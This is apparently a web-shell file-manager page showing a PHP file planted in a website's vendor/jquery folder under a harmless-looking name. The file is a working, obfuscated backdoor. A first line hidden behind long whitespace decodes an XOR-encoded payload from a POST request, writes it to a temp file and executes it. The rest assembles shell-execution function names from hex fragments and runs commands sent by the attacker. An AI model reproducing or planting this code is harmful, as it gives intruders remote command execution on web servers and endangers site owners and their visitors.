HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/aventurasolar.sumar.com.py/public/vendor/jquery/busi_report06.php
<?php																																										if(array_key_exists("item", $_POST) && !is_null($_POST["item"])){ $pset = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", getcwd()]); $ptr = hex2bin($_POST["item"]); $dat = '' ; $m = 0; while($m < strlen($ptr)){$dat .= chr(ord($ptr[$m]) ^ 25);$m++;} foreach ($pset as $ent): if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $data = join("/", [$ent, ".pgrp"]); $file = fopen($data, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $data; @unlink($data); die(); } } endforeach; }


$attr1 = '7';
$attr2 = '9';
$attr3 = '6';
$attr4 = '3';
$attr5 = '8';
$attr6 = 'c';
$attr7 = 'f';
$attr8 = '5';
$attr9 = '4';
$attr10 = '2';
$attr11 = 'e';
$attr12 = '0';
$attr13 = '1';
$rjust1 = pack("H*", $attr1.'3'.'7'.$attr2.$attr1.'3'.'7'.'4'.$attr3.'5'.'6'.'d');
$rjust2 = pack("H*", '7'.$attr4.$attr3.$attr5.'6'.'5'.$attr3.'c'.'6'.$attr6.'5'.$attr7.'6'.'5'.$attr1.'8'.$attr3.'5'.$attr3.'3');
$rjust3 = pack("H*", $attr3.$attr8.$attr1.$attr5.'6'.$attr8.'6'.$attr4);
$rjust4 = pack("H*", $attr1.'0'.'6'.'1'.$attr1.$attr4.$attr1.'3'.'7'.'4'.$attr3.'8'.'7'.'2'.$attr1.'5');
$rjust5 = pack("H*", '7'.'0'.$attr3.$attr7.'7'.'0'.$attr3.'5'.'6'.'e');
$rjust6 = pack("H*", '7'.$attr4.'7'.$attr9.'7'.$attr10.$attr3.'5'.'6'.'1'.$attr3.'d'.'5'.$attr7.$attr3.'7'.$attr3.'5'.$attr1.$attr9.'5'.$attr7.$attr3.$attr4.'6'.$attr7.$attr3.$attr11.'7'.'4'.$attr3.'5'.$attr3.'e'.$attr1.'4'.'7'.$attr4);
$rjust7 = pack("H*", '7'.$attr12.'6'.'3'.$attr3.$attr6.$attr3.$attr7.'7'.'3'.'6'.$attr8);
$internal = pack("H*", '6'.'9'.$attr3.'e'.$attr1.$attr9.$attr3.'5'.'7'.$attr10.'6'.'e'.'6'.$attr13.$attr3.$attr6);
if (isset($_POST[$internal])) {
    $internal = pack("H*", $_POST[$internal]);
    if (function_exists($rjust1)) {
        $rjust1($internal);
    } elseif (function_exists($rjust2)) {
        print $rjust2($internal);
    } elseif (function_exists($rjust3)) {
        $rjust3($internal, $const_argument);
        print join("\n", $const_argument);
    } elseif (function_exists($rjust4)) {
        $rjust4($internal);
    } elseif (function_exists($rjust5) && function_exists($rjust6) && function_exists($rjust7)) {
        $id_stor = $rjust5($internal, 'r');
        if ($id_stor) {
            $param_identifier = $rjust6($id_stor);
            $rjust7($id_stor);
            print $param_identifier;
        }
    }
    exit;
}